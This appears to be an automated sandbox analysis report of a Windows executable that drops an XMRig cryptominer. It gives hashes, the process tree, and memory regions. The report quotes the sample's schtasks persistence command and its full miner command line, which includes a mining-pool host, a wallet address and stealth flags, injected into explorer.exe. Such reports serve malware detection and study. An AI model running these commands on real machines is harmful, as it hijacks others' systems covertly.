Analysis
-
max time kernel
145s -
max time network
157s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
15-07-2021 07:05
Static task
static1
Behavioral task
behavioral1
Sample
e80c9491a679eec91b58c5a8cc20e1b4.exe
Resource
win7v20210408
General
-
Target
e80c9491a679eec91b58c5a8cc20e1b4.exe
-
Size
167KB
-
MD5
e80c9491a679eec91b58c5a8cc20e1b4
-
SHA1
a365aa7c60357c693b1493eb0f13f112525e1e1f
-
SHA256
7c88f9d38fcb9dd17d733e65a8ebee46d6b74700a02ba5a4614b7b6002d5ef0c
-
SHA512
244e408fb35e632f442ab0ce825310dae95b661d5e238ff64639149f2cc775807a0f361eba0a251e6fe6b8de8b500ff9a7947c57c1645f2320d442102a73d16c
Malware Config
Signatures
-
XMRig Miner Payload 3 IoCs
Processes:
resource yara_rule behavioral2/memory/1292-137-0x0000000140000000-0x0000000140758000-memory.dmp xmrig behavioral2/memory/1292-138-0x00000001402EB66C-mapping.dmp xmrig behavioral2/memory/1292-140-0x0000000140000000-0x0000000140758000-memory.dmp xmrig -
Executes dropped EXE 2 IoCs
Processes:
smssmanagment.exesihost64.exepid process 8 smssmanagment.exe 2104 sihost64.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
Processes:
smssmanagment.exedescription pid process target process PID 8 set thread context of 1292 8 smssmanagment.exe explorer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3364 schtasks.exe 1888 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
e80c9491a679eec91b58c5a8cc20e1b4.exesmssmanagment.exepid process 3724 e80c9491a679eec91b58c5a8cc20e1b4.exe 8 smssmanagment.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
e80c9491a679eec91b58c5a8cc20e1b4.exesmssmanagment.exeexplorer.exedescription pid process Token: SeDebugPrivilege 3724 e80c9491a679eec91b58c5a8cc20e1b4.exe Token: SeDebugPrivilege 8 smssmanagment.exe Token: SeLockMemoryPrivilege 1292 explorer.exe Token: SeLockMemoryPrivilege 1292 explorer.exe -
Suspicious use of WriteProcessMemory 27 IoCs
Processes:
e80c9491a679eec91b58c5a8cc20e1b4.execmd.exesmssmanagment.execmd.exedescription pid process target process PID 3724 wrote to memory of 1408 3724 e80c9491a679eec91b58c5a8cc20e1b4.exe cmd.exe PID 3724 wrote to memory of 1408 3724 e80c9491a679eec91b58c5a8cc20e1b4.exe cmd.exe PID 1408 wrote to memory of 3364 1408 cmd.exe schtasks.exe PID 1408 wrote to memory of 3364 1408 cmd.exe schtasks.exe PID 3724 wrote to memory of 8 3724 e80c9491a679eec91b58c5a8cc20e1b4.exe smssmanagment.exe PID 3724 wrote to memory of 8 3724 e80c9491a679eec91b58c5a8cc20e1b4.exe smssmanagment.exe PID 8 wrote to memory of 1380 8 smssmanagment.exe cmd.exe PID 8 wrote to memory of 1380 8 smssmanagment.exe cmd.exe PID 8 wrote to memory of 2104 8 smssmanagment.exe sihost64.exe PID 8 wrote to memory of 2104 8 smssmanagment.exe sihost64.exe PID 1380 wrote to memory of 1888 1380 cmd.exe schtasks.exe PID 1380 wrote to memory of 1888 1380 cmd.exe schtasks.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe PID 8 wrote to memory of 1292 8 smssmanagment.exe explorer.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\e80c9491a679eec91b58c5a8cc20e1b4.exe"C:\Users\Admin\AppData\Local\Temp\e80c9491a679eec91b58c5a8cc20e1b4.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"c:\users\admin\appdata\roaming\smssmanagment.exe"' & exit2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"c:\users\admin\appdata\roaming\smssmanagment.exe"'3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\appdata\roaming\smssmanagment.exe"C:\Users\Admin\appdata\roaming\smssmanagment.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"c:\users\admin\appdata\roaming\smssmanagment.exe"' & exit3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "smssmanagment" /tr '"c:\users\admin\appdata\roaming\smssmanagment.exe"'4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\appdata\roaming\microsoft\libs\sihost64.exe"C:\Users\Admin\appdata\roaming\microsoft\libs\sihost64.exe"3⤵
- Executes dropped EXE
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu1.nanopool.org:14433 --user=4AXqAB3xATp3qXvA883jjVbbvQtqtFoVPLy79LU8TjqiWkK71DnXYAkRsgExycBRqsJ4yBNxAFnqvNmz6KhCDv1Z622gFLs.w2/explorer --pass= --cpu-max-threads-hint=50 --cinit-remote-config="qWmSJPvneRNQfbpvLXoXBy3JpXXnkAtHjwumY21IlTMeLBYzClnsyLDbzMvGOMO4" --donate-level=0 --cinit-idle-wait=5 --cinit-idle-cpu=100 --tls --cinit-stealth3⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\libs\sihost64.exeMD5
f5cd230ba12c26c69b3859cf2dfe9ddb
SHA13444767d8a0616e783d0a177fc4dc7fc4621b48d
SHA256a411b4575ae6fb722ab53c116570d7e7b56aba1bb292c208b12db3485fab08d6
SHA5129670abb676deb21598e6c86379a19c0701768926a91819900324cf796c478d657949bd2b1dc5a0360fa8c5f4a1bb421cef1a75f265fa85a85612d765209770ba
-
C:\Users\Admin\AppData\Roaming\smssmanagment.exeMD5
e80c9491a679eec91b58c5a8cc20e1b4
SHA1a365aa7c60357c693b1493eb0f13f112525e1e1f
SHA2567c88f9d38fcb9dd17d733e65a8ebee46d6b74700a02ba5a4614b7b6002d5ef0c
SHA512244e408fb35e632f442ab0ce825310dae95b661d5e238ff64639149f2cc775807a0f361eba0a251e6fe6b8de8b500ff9a7947c57c1645f2320d442102a73d16c
-
C:\Users\Admin\appdata\roaming\microsoft\libs\sihost64.exeMD5
f5cd230ba12c26c69b3859cf2dfe9ddb
SHA13444767d8a0616e783d0a177fc4dc7fc4621b48d
SHA256a411b4575ae6fb722ab53c116570d7e7b56aba1bb292c208b12db3485fab08d6
SHA5129670abb676deb21598e6c86379a19c0701768926a91819900324cf796c478d657949bd2b1dc5a0360fa8c5f4a1bb421cef1a75f265fa85a85612d765209770ba
-
C:\Users\Admin\appdata\roaming\smssmanagment.exeMD5
e80c9491a679eec91b58c5a8cc20e1b4
SHA1a365aa7c60357c693b1493eb0f13f112525e1e1f
SHA2567c88f9d38fcb9dd17d733e65a8ebee46d6b74700a02ba5a4614b7b6002d5ef0c
SHA512244e408fb35e632f442ab0ce825310dae95b661d5e238ff64639149f2cc775807a0f361eba0a251e6fe6b8de8b500ff9a7947c57c1645f2320d442102a73d16c
-
memory/8-121-0x0000000000000000-mapping.dmp
-
memory/8-135-0x000000001D280000-0x000000001D282000-memory.dmpFilesize
8KB
-
memory/1292-138-0x00000001402EB66C-mapping.dmp
-
memory/1292-137-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/1292-145-0x00000000024E0000-0x0000000002500000-memory.dmpFilesize
128KB
-
memory/1292-146-0x00000000024C0000-0x00000000024E0000-memory.dmpFilesize
128KB
-
memory/1292-144-0x00000000024C0000-0x00000000024E0000-memory.dmpFilesize
128KB
-
memory/1292-143-0x0000000000820000-0x0000000000840000-memory.dmpFilesize
128KB
-
memory/1292-140-0x0000000140000000-0x0000000140758000-memory.dmpFilesize
7.3MB
-
memory/1292-139-0x00000000005E0000-0x0000000000600000-memory.dmpFilesize
128KB
-
memory/1380-128-0x0000000000000000-mapping.dmp
-
memory/1408-118-0x0000000000000000-mapping.dmp
-
memory/1888-134-0x0000000000000000-mapping.dmp
-
memory/2104-136-0x000000001BBD0000-0x000000001BBD2000-memory.dmpFilesize
8KB
-
memory/2104-132-0x0000000000140000-0x0000000000141000-memory.dmpFilesize
4KB
-
memory/2104-129-0x0000000000000000-mapping.dmp
-
memory/3364-119-0x0000000000000000-mapping.dmp
-
memory/3724-116-0x0000000000EB0000-0x0000000000EBA000-memory.dmpFilesize
40KB
-
memory/3724-114-0x0000000000680000-0x0000000000681000-memory.dmpFilesize
4KB
-
memory/3724-117-0x0000000000F00000-0x0000000000F01000-memory.dmpFilesize
4KB
-
memory/3724-120-0x0000000002D50000-0x0000000002D52000-memory.dmpFilesize
8KB